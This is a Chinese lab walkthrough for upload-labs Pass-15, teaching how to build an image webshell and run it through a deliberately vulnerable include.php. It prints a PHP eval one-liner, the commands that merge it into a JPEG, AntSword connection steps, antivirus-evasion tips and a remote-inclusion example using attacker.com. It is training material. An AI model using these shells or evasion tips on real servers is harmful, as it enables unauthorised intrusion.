upload-labs Pass-15:图片马与文件包含组合getshell详解
1. 前言为什么 pass-15 被称作“假图片马”的分水岭upload-labs 这个靶场玩到 pass-15 的人基本都已经把前十四关摸得滚瓜烂熟了。从前面的黑白名单校验、MIME 类型检查、后缀名绕过、%00截断到这一关突然变成内容校验很多人第一次接触会有点懵怎么连文件头都要检查了这还怎么玩先说结论pass-15 的核心考点是图片马配合文件包含漏洞组合利用。它的校验逻辑只认文件内容开头的几个字节也就是我们常说的“文件头”或“magic number”不再关心后缀名、MIME 类型、Content-Type 这些表面信息。换句话说只要文件开头的二进制内容长得像图片服务端就认为它是合法图片。那问题来了校验图片头不就是为了防木马上传吗怎么还能绕答案就在于“校验的是文件头不是文件本身”。你完全可以把一段 PHP 代码拼在一张真实图片的末尾文件头照样是FF D8 FF E0检测器一看是 JPEG 就放行了但这段代码已经藏在图片的二进制数据里。图片本身能正常显示同时又携带了恶意代码这就是“图片马”的由来。不过这里必须先把丑话说在前面图片马本身是无效的它只是让恶意代码“混”进了服务器真正让它执行起来还需要其他漏洞配合。最常见的就是文件包含漏洞File Inclusion这也是为什么 pass-15 往往和文件包含靶场放在一起学习的原因。如果不理解这层依赖关系单纯学会“把代码塞进图片”其实没什么实战意义。这一篇我尽量把这个过程讲透从环境搭建、原理拆解到完整的手工制作和操作过程再到坑点排查争取让你看完就能自己独立打一遍。2. 整体思路拆解从“后缀校验”到“内容校验”的思维转换2.1 前面十四关的绕过逻辑为什么在这里失效了在 pass-15 之前大部分关卡的校验重点都在“文件的身份信息”上。比如后缀名黑名单php、asp、jsp直接拒绝那就换.php3、.phtml、.php5。MIME 校验Content-Type如果不是image/jpeg就拦截那就抓包把Content-Type改成允许的值。白名单校验只允许.jpg、.png、.gif那就用大小写、双重后缀、空格绕过。这些方法本质上都是跟“元数据”较劲因为代码逻辑在判断时只看了文件的名字和请求头没有真正去看文件“肚子里”装的是什么。而 pass-15 这一步校验逻辑换成了检查文件的实际内容——读取文件开头的若干字节判断是否是合法的图片格式标识。它的伪代码逻辑大致是这样的$info getimagesize($_FILES[file][tmp_name]); if ($info ! false) { // 校验通过允许上传 } else { // 不是有效图片拒绝 }getimagesize()函数是什么行为它会读取文件头部信息并尝试解析图片格式。只要能解析出合法的图片头比如 JPEG 的FF D8 FF、PNG 的89 50 4E 47、GIF 的GIF89a就返回数组信息解析失败则返回false。所以这关的目标很明确让你上传的文件在内容层面“真的是图片”。这也就意味着之前所有围绕后缀名、Content-Type 做手脚的方法全部失效。因为不管你怎么改后缀、改请求头只要文件内容不是图片格式getimagesize()照样返回false直接拒绝。2.2 图片马为何必须搭配“文件包含”才能生效这是很多初学者最容易卡住的地方明明图片马成功传上去了访问图片地址却什么都没有或者只看到一张图完全没有代码执行的迹象。原因在于服务器对待文件的方式。当你直接访问/upload/shell.jpg时服务器根据后缀名.jpg判断这是一个静态图片资源直接输出二进制数据。PHP 引擎根本不会去解析.jpg文件里的代码。这就好比你在一本书的封底写了一行注释但你不翻开书页别人永远不会看到这行注释更不会把它当正文读。那怎么让服务器“翻开”这个文件把里面的 PHP 代码当代码执行答案是找一个“读取器”去读取它。这就是文件包含漏洞的价值。文件包含漏洞的原理是服务端有一些动态页面会接收用户传入的文件路径参数然后用include或require把指定文件包含进来执行。如果这个参数没有被严格过滤你就可以让它去包含你上传的图片马。当 PHP 引擎读取这个.jpg文件时它并不会因为后缀名是.jpg就跳过解析而是会从头到尾扫描文件内容遇到?php ... ?标签就会老老实实执行里面的代码。所以完整的利用链是制作一个带 PHP 代码的图片马。绕过 pass-15 的内容校验上传成功。找到一个文件包含点让服务器以 PHP 方式解析该图片。代码执行后实现 getshell。就好比把一把钥匙藏在了一本普通书里通过安检图片头校验后还需要有人在图书馆里翻开这本书文件包含钥匙才能真正被拿到。2.3 这关你到底该练的是什么能力说实话pass-15 本身难度并不高——无非是拼接图片和代码。但这关真正要你练的是两个关键能力第一是理解服务端校验逻辑的层次。面对一个上传点你需要能够从“它校验什么”反推出“它不校验什么”然后找到校验空白区。前面关卡让你习惯性地关注后缀和类型这一关逼你换一个角度去关注文件结构和内容。第二是组合利用的意识。单一漏洞常常无法直接形成威胁实战中的 getshell 往往是多个中低危漏洞串联的结果。图片马是上传漏洞的产物如果要执行代码大概率还要联动文件包含、解析配置等。这种“链条化思考”的能力才是安全测试的核心也是面试和实战中拉开差距的地方。3. 环境准备与工具清单动手前先把桌子擦干净3.1 靶场搭建本地环境推荐方案我默认你现在已经跑起来 upload-labs 了但考虑到可能有新读者第一次接触还是简单说下搭建方式。我用的组合是 Windows phpStudy 2020 或 2018 版本PHP 版本选 5.x 系列。为什么特意强调 PHP 5因为 upload-labs 很多关卡的设计是基于老 PHP 版本解析特性和函数行为差异尤其涉及move_uploaded_file()、include等函数在 PHP 7 下某些行为会有差异用 phpStudy 切换一下版本比在 Docker 里折腾省心得多。具体步骤下载 phpStudy安装后启动 Apache 和 MySQL。把 upload-labs 整个目录放到 phpStudy 的WWW目录下。浏览器访问http://127.0.0.1/upload-labs/正常显示就是搭好了。如果页面报数据库连接错误去inc目录下的配置文件里改成你自己的数据库账号密码。默认一般是root/root如果没有改动过通常直接就能跑。还有一点要注意pass-15 需要配合文件包含漏洞才能打通如果你想要完整走一遍 getshell 流程建议再准备一个文件包含靶场或者自己写一个简单的include.php来实现包含逻辑。我后面实操环节会写一个你直接复制保存即可。3.2 工具集合不用多顺手就行做图片马和测试绕过不需要装一堆庞然大物下面这几样就足够用浏览器 开发者工具上传过程中观察请求包、响应包修改参数或者构造请求时用。F12 是基本功不多说。Burp Suite抓包改包工具主要在需要修改 Content-Type、双写文件名、观察响应差异时用。社区版就够不用破解。Hex 编辑器推荐 WinHex 或者 010 Editor用来查看和修改文件的十六进制内容。实操中排查图片马是否制作成功都是用 Hex 编辑器直接看文件头。中国蚁剑或冰蝎作为 WebShell 客户端连接上传成功的一句话木马。推荐蚁剑配置简单、社区活跃新手不容易卡在连接配置上。一个文本编辑器Notepad、VS Code 都行用来写 PHP 代码或脚本。之所以把工具列表压到最少是因为做这类测试的核心能力在于理解每一步改动的意义而不是工具多炫。Burp 帮你看到流量层面的变化Hex 编辑器帮你看文件结构层面的变化这俩配合好绝大多数上传绕过问题都逃不出眼睛。3.3 校验逻辑猜测如何识别“内容校验”关卡进入 pass-15 页面后先不要急着上传花一分钟做个简单测试来判断它到底校验的是什么。这是我每次打靶场的习惯——先探路再有针对性地出招。方法很简单随便上传一个文件比如写一个最简单的test.php内容是?php phpinfo(); ?。然后观察响应如果提示“上传成功”但文件名后缀被改了那说明是后缀命名逻辑的校验。如果提示“文件类型不正确”那先别急再传一个正常的.txt文件试试。如果上传.txt也被拒最后传一个真正的.jpg图片发现能成功那基本可以确定它校验的是文件内容是否真的是图片。这时你再用 Hex 编辑器打开一张正常图片里面删掉几个头部字节再上传试试如果被拒那就完全坐实了“图片头检测”。这就是 pass-15 的典型特征只看文件头不关心文件尾部。这一步看似简单却是很多新手容易跳过的。直接抄别人的方法当然能过关但如果你不看清楚它的校验规则换个环境相同逻辑的关卡你照样不会判断。先探路再出招这个习惯建议从入门就练起来。4. 核心细节解析图片马的制作原理与通行密码4.1 常见图片格式的文件头特征图片马要能绕过内容校验首先得知道主流图片格式的“身份证号”长什么样。文件头magic number是文件格式规范中固定的起始字节序列检测器通过读取这些字节来识别文件类型。下面是几种最常见的图片格式文件头十六进制ASCII 特征JPEG/JPGFF D8 FF E0或FF D8 FF E1开头不可见字符PNG89 50 4E 47 0D 0A 1A 0A开头为乱码第 2~4 字节是PNGGIF87a47 49 46 38 37 61ASCII 为GIF87aGIF89a47 49 46 38 39 61ASCII 为GIF89aBMP42 4DASCII 为BMWebP52 49 46 46ASCII 为RIFF对于上传绕过来说JPEG 和 GIF 是最常用的因为它们的文件头特征简单明确且很容易在文件尾部拼接代码。PNG 也可以但不建议在头部或者中间随意插入数据PNG 的解析对数据块结构要求更严格某些环境里改动后文件会损坏。你可以在 Windows 里用 WinHex 打开一张图片直接看文件头也可以使用 Linux 下的xxd命令xxd image.jpg | head -n 2输出里第一行的前几个字节就是文件头的十六进制表示对照上面表格就能确认格式。4.2 一句话木马为什么总是这几行图片马的核心内容是“一句话木马”它常见的形态是这样的?php eval($_POST[pass]); ?或者更简短一点?php assert($_POST[pass]);?理解这些代码的含义比背下来重要得多。eval()是 PHP 中一个非常危险的函数它会把传入的字符串当作 PHP 代码直接执行。$_POST[pass]是接收客户端通过 POST 请求提交的参数。整句的逻辑就是把客户端 POST 提交的pass参数的值当作 PHP 代码执行。所以当你在蚁剑里填上连接密码pass后蚁剑发送的每个请求都是把你的操作指令编码后放进pass参数里提交过去服务端直接把指令执行掉。这里有个安全提示必须说清楚WebShell 本身是恶意工具未经授权在他人服务器上上传或连接都是违法行为。本书和本文的所有操作只能用于本地靶场、CTF 比赛或你拥有授权的测试环境。这个红线必须记清楚后面不再重复。4.3 手工制作图片马的两种姿势制作图片马的方法很多我推荐两种一种是纯手工、适合理解原理的一种是命令行的、适合批量生产的。两种都建议试一遍。方式一Windows 下用 cmd 命令合并准备一张正常的图片shell.jpg再准备一个文本文件shell.php里面写入一句话木马。然后在图片所在目录打开命令行执行copy shell.jpg/b shell.php/a shell_evil.jpg这里的参数含义要解释一下/b表示以二进制模式复制/a表示以 ASCII 文本模式复制。两条命令用连接最终输出文件是shell_evil.jpg。关键点在于前面的图片文件必须加/b确保二进制数据原样保留不被转换后面的 PHP 代码文件加/a但如果后面想拼接的是二进制内容那就也用/b。实测下来后面用/a对于纯文本 PHP 代码没问题用/b也行。图片内容不会被破坏PHP 代码会完整追加到图片末尾。方式二Linux 下用 cat 命令如果你用的是 Linux 或者 WSL一条命令更干净cat shell.jpg shell.php shell_evil.jpg这个命令会把shell.jpg的完整内容和shell.php的完整内容依次写入shell_evil.jpg结果和方式一完全一致。两种方式完成后用 Hex 编辑器打开shell_evil.jpg确认文件头仍是FF D8 FF E0或对应的图片格式标志再滚动到文件末尾能看到?php eval($_POST[pass]); ?一行明文。到这里一个合格的图片马就算制作完成了。4.4 判断图片马是否被破坏的黄金三连制作完成后不要急着上传先按下面三个维度自检图片能正常打开吗在浏览器里双击打开如果能显示出原图说明图片的二进制结构没被破坏。文件头还是原格式吗用 Hex 编辑器看前几个字节还是FF D8 FF E0之类的合法头。末尾有 PHP 代码吗文件最后能看到?php eval($_POST[pass]); ?注意不要因为编码问题变成乱码。这三个检查对应的是“内容校验能过”“图片本身不损坏”“代码完整保留”三个维度的保障。任何一项不满足上传后都可能在某个环节出问题。5. 实操过程从上传图片马到成功 getshell 的完整链路5.1 准备文件包含点一个极简 include.php前面说过了pass-15 只是解决“把恶意代码藏进服务器”的问题真正让它执行需要一个文件包含点。upload-labs 靶场本身没有提供这个包含入口所以我们要自己制造一个。新建一个include.php文件放在 upload-labs 的根目录下和pass-15.php同级内容如下?php if (isset($_GET[file])) { $file $_GET[file]; include $file; } ?这段代码的逻辑极其简单接收GET参数file然后把这个参数指向的文件直接include进来。没有做任何过滤和路径限制。如果你的浏览器访问http://127.0.0.1/upload-labs/include.php?filexxx时能正常引用对应文件就说明文件包含点已经就绪。在真实场景里文件包含点往往藏在模板加载、语言切换、日志读取这类功能里不会像我们自己写的这样直白。但只要看到了include、require、include_once关键字并且参数可控思路就是一样的。5.2 完整操作步骤一步一步打通 pass-15下面按顺序走一遍完整流程建议你跟着操作每一步都看清楚再动手。第 1 步准备一个干净的工作目录。在本地新建一个文件夹比如D:\lab\pass15放进去三样东西一张正常的shell.jpg随便找一张小猫小狗都行建议小图几百 KB 以内。一个shell.php内容就是?php eval($_POST[pass]); ?。一份写好的include.php这个放 upload-labs 根目录不是工作目录。第 2 步生成图片马。在D:\lab\pass15目录打开命令行执行copy shell.jpg/b shell.php/a shell_evil.jpg执行完用 Hex 编辑器打开shell_evil.jpg验证一下确认文件头正确、末尾有 PHP 代码。第 3 步上传图片马。访问http://127.0.0.1/upload-labs/pass-15.php选择shell_evil.jpg上传。正常情况下会提示上传成功并显示图片的访问路径通常是http://127.0.0.1/upload-labs/upload/shell_evil.jpg。这里如果出现“上传失败”或者“不是图片”的提示大概率是图片马没做好回到第 2 步重新检查文件头。第 4 步验证图片可直接访问。浏览器直接访问图片地址如果图片能正常显示说明服务器把它当成了静态资源正常输出图片数据没有损坏。到这里图片马的“潜伏”阶段已经完成。第 5 步通过文件包含触发代码执行。浏览器访问http://127.0.0.1/upload-labs/include.php?fileupload/shell_evil.jpg这里我故意用了相对路径upload/shell_evil.jpg因为include.php本身就在 upload-labs 根目录下所以相对于当前脚本的路径就是upload/目录下的shell_evil.jpg。访问后页面看起来可能还是图片之类的输出或者什么都没有这都正常。关键是你接下来要用蚁剑去连接看能不能连上。第 6 步用蚁剑连接 WebShell。打开蚁剑添加数据URLhttp://127.0.0.1/upload-labs/include.php?fileupload/shell_evil.jpg连接密码pass编码器建议选base64因为图片马内容较长直接明文 POST 很容易在中间出问题base64编码器可以规避一些干扰。连接类型PHP。测试连接。如果返回“连接成功”那这关就算彻底打通了。这时候你可以切换到文件管理看到整个靶场目录的文件列表这已经等价于控制了一台服务器。5.3 另一种方式直接上传带脚本的图片并利用解析漏洞在本地测试时还有一种不依赖文件包含的玩法就是结合服务器解析漏洞。比如 Apache 的“多后缀名解析”特性如果服务器配置了AddHandler或者AddType当上传的文件名是shell.php.jpg时Apache 在解析文件名后缀时是从右往左找它能识别的后缀。如果它不认识.jpg就会继续往前看发现.php于是这个文件被当作 PHP 脚本执行。但注意这条路径在现代的 Apache 默认配置中已经不常见了而且 upload-labs 的 pass-15 并不存在解析漏洞所以这条路在 pass-15 里是走不通的。之所以要提它是因为你在真实环境遇到图片马的同时如果还有解析配置问题那就不一定非要用文件包含来触发了。多一种思路多一种应对。6. 常见问题与排查技巧实录我踩过的坑你直接绕开6.1 上传时提示“文件类型不正确”怎么办这是最常见的问题原因 90% 是图片马的文件头被破坏了。可能的原因有二一是copy命令里/b和/a参数写反了。如果图片文件没加/bWindows 的copy在某种情况下会操作文本模式可能导致文件数据被转换文件头错乱。务必确认命令格式是图片文件/b 脚本文件/a。二是你直接把 PHP 代码硬塞进了图片头部把原始文件头覆盖了。这种情况常见于用脚本往文件头部插入数据的做法。插入代码的位置必须保证图片头完整所以推荐追加到文件末尾不要在头部动手。排查方法很简单用 Hex 编辑器打开图片马如果开头不是FF D8 FF E0之类的图片标志直接重新制作。6.2 图片能打开但蚁剑连不上图片能正常打开说明文件结构没问题。蚁剑连不上要分两种情况分析第一种情况文件包含地址不对。检查一下include.php和图片马的相对路径。如果你把include.php放在了 upload-labs 根目录那么file参数应该写upload/shell_evil.jpg。如果图片路径不对include找不到文件PHP 代码自然不会执行。你可以直接在浏览器访问include.php?fileupload/shell_evil.jpg观察是否有报错信息。第二种情况被上传的图片在保存时被重命名了。upload-labs 有些关卡会把文件重命名为时间戳或随机文件名你上传的shell_evil.jpg可能落到服务器后被改名了导致你访问的路径不对。上线时多加一步上传成功后去图片上传目录的页面源码里找到实际生成的文件名或者直接用上传返回的路径。排查大法上传后用浏览器访问include.php?fileupload/shell_evil.jpg页面如果是空白但没报错说明包含执行了可能被注释或代码没生效如果直接输出图片内容说明文件被当图片输出了PHP 可能被注释掉了如果报Warning说文件不存在那就是路径问题。多试几次问题范围很快就能缩小。6.3 图片马被杀毒软件拦截怎么处理这个坑在 Windows 本地测试时非常常见copy生成图片马的一瞬间Windows Defender 或第三方杀软直接把它隔离了因为图片马的末尾有完整的 WebShell 特征码杀毒引擎扫描到后直接判定为木马。处理方法主要有四种把工作目录加入杀毒软件的排除列表这是最推荐的一劳永逸。使用混淆后的代码比如把eval拆成字符串拼接让杀软看不出来。但混淆代码的稳定性需要反复测试不熟练的人不建议一上来就玩。用加密型 WebShell比如冰蝎生成的马特征码更少但那是后话。如果有条件直接在 Linux 虚拟机里做实验完全绕开 Windows 杀软。如果你用的是 Windows我强烈建议直接加白名单。因为后面你还会反复制作和测试新的马每做一次被删一次非常影响效率。6.4 偶发情况图片马上传成功但包含时报语法错误这种情况在使用 PNG 图片时更容易遇到。PNG 文件除了头部标志内部还划分了多个数据块如果你在制作时不小心改动了图片内部数据PNG 在解析时可能出错。但包含时报语法错误则说明 PHP 解析器在扫描图片数据时遇到了非法的 PHP 标签或意外的?提前结束。解决方案优先使用 JPEG 或 GIF 格式制作图片马它们的文件结构相对宽松在尾部追加数据不会破坏整体结构。另外确保追加的 PHP 代码前后不要有多余的换行或空格避免解析器产生意外输出进而影响蚁剑的响应判断。6.5 文件包含测试时的路径问题速查访问方式file参数值预期结果include.php 在根目录图片在 upload 目录upload/shell_evil.jpg正常执行include.php 在inc目录图片在../upload目录../upload/shell_evil.jpg正常执行include.php 在根目录图片也在根目录shell_evil.jpg正常执行参数使用了远程地址http://attacker.com/shell_evil.jpg取决于allow_url_include默认关闭一般失败注意最后一行远程文件包含需要allow_url_includeOn这在 phpStudy 默认配置里通常是关闭的。所以本地测试别想偷懒用远程地址乖乖传上去再用本地路径包含。6.6 实在上传不上去的兜底思路二次渲染绕过有些环境在上传图片时会二次处理比如使用imagecreatefromjpeg()重新生成图片把尾部追加的代码全部丢掉。这种情况下普通图片马就失效了。绕过方法是“GD 库渲染后的残留字节利用”先上传一张图片把二次渲染后的图片下载下来拿到本地再用 Hex 编辑器在“图片的注释区”或“没有被重绘的数据块”里插入代码然后重新上传。这个思路在想要挑战更高难度时再深入研究pass-15 本身没有二次渲染不必在这里纠结。7. 绕过的底层原理为什么“只看文件头”有这么大漏洞走到这一步你可能已经打通了但我希望你不要停在“会操作”的层面再多想想为什么一个用getimagesize()做校验的逻辑竟然这么好绕核心原因在于内容校验的粒度太粗它只验证了文件的起始字节却没有验证文件的整体结构。打个比方这就像机场安检只检查你随身行李的正面品牌标签是不是名牌包而对箱子里面装了什么完全不管。你背了一个外观贴着“LV”标志的普通帆布包安检员看了一眼标签就放行了。图片马的原理一模一样最外层是合法图片头内部是可以自由追加的二进制数据。更深层的矛盾在于PHP 代码本身就是纯文本它可以出现在任何位置。图片的尾部数据区对于图片查看器来说是无关紧要的但对 PHP 引擎来说只要碰到?php标签就会老老实实解析执行。同一个文件在两种不同的视角下产生了完全不同的语义——这种“多语义文件”的概念是理解很多安全漏洞都绕不开的。文件包含漏洞之所以能配合起来是因为include在读取文件时对文件类型并不敏感它不管你后缀是什么把文件内容读进来后直接按 PHP 语法解析。这就像同一本书有人把它当小说读有人把它当代码规范看书还是那本书看的人不一样读出来的内容完全不同。所以你在实战中遇到上传点时可以反推一下如果服务端只是做了类似getimagesize()的内容头部校验那上传一个合法图片 末尾拼接代码的马就是值得尝试的方向。如果它做了二次渲染或者内容长度校验那就换其他思路不要死磕同一条路。8. 其他常见校验姿势与应对思路如果 pass-15 你已经熟练了我建议你顺手把下面几种变体也了解一下因为真实靶场里面内容校验的姿势远不止一种。完整文件结构校验除了文件头还会用getimagesize()返回值里的宽度、高度、类型等做逻辑判断或者用exif_imagetype()获取更具体的文件类型信息。这类校验依然只关心头部信息和基础属性图片马依然有效。二次渲染上传时会把图片重新生成一遍只有原图“被保留下来”的数据才会进入新图片。制马方式需要先传一次拿到渲染后的图片再在渲染输出中找可用插入点。这里最经典的做法是利用 GIF 的注释扩展块0x21 0xFE做插入因为 GD 库在渲染 GIF 时会保留注释块而且会把注释内容放到输出图片的特定位置。内容和后缀联合校验校验图片头的同时后缀也必须是白名单内的.jpg、.png等。这种情况下图片马不需要改名直接用.jpg后缀上传然后靠文件包含或解析漏洞触发。内容长度限制有些环境限制上传文件大小比如只能传 2KB 以内的图片。这时候需要精简图片用 1px 的 GIF 图来制作马因为 GIF 文件本身可以做到非常小再加上几十字节的 PHP 代码总大小很容易控制在 1KB 以内。这几种变体在实战中的出现频率都不低我把它们的应对思路总结成一张表校验方式核心判断逻辑图片马是否有效触发方式文件头校验起始若干字节为图片格式标识有效文件包含 / 解析漏洞完整图片结构校验getimagesize()返回完整信息有效文件包含 / 解析漏洞二次渲染重建重新生成图片文件需二次制作文件包含 / 解析漏洞内容 后缀联合校验内容为图片且后缀白名单有效文件包含 / 解析漏洞内容长度限制文件大小限制有效需精简图片文件包含 / 解析漏洞9. 最后的经验心得与建议这个靶场关卡我前前后后带人打过不下几十遍几乎每次都有新人卡在同一个点上图片马传上去了以为万事大吉结果蚁剑一连就傻眼。我想说的是pass-15 真正的学习价值不在于“会拼图片”这个动作本身而在于它逼你去理解漏洞链这个东西。单独一个文件上传漏洞可以是一个摆设单独一个文件包含漏洞可能只是读取几个文件。但两个中低危漏洞组合在一起就能直通 getshell。这种组合意识是你从“会打靶场”走向“会做实战”的关键一步。以后你在真实系统里挖洞发现一个上传点发现一个包含点要第一时间想到它们能不能拉通。另外关于工具使用我有一个小建议不要过分依赖图形化的 WebShell 客户端来做原理验证。第一次打通 pass-15 时最好先手动用浏览器或curl发一个 POST 请求执行phpinfo()然后用蚁剑连接。手动执行一次你会对“WebShell 本质上就是一个普通的 HTTP 请求”这件事有极其深刻的体感。到这里pass-15 的核心内容就全部讲完了。留一个思考题给你如果你不是用include而是把图片马放在一个本身就会解析图片内容的页面上比如上传头像后头像通过img标签显示这种情况下图片马会执行吗想明白这个问题你对“服务端解析”和“客户端解析”的区别就彻底通了。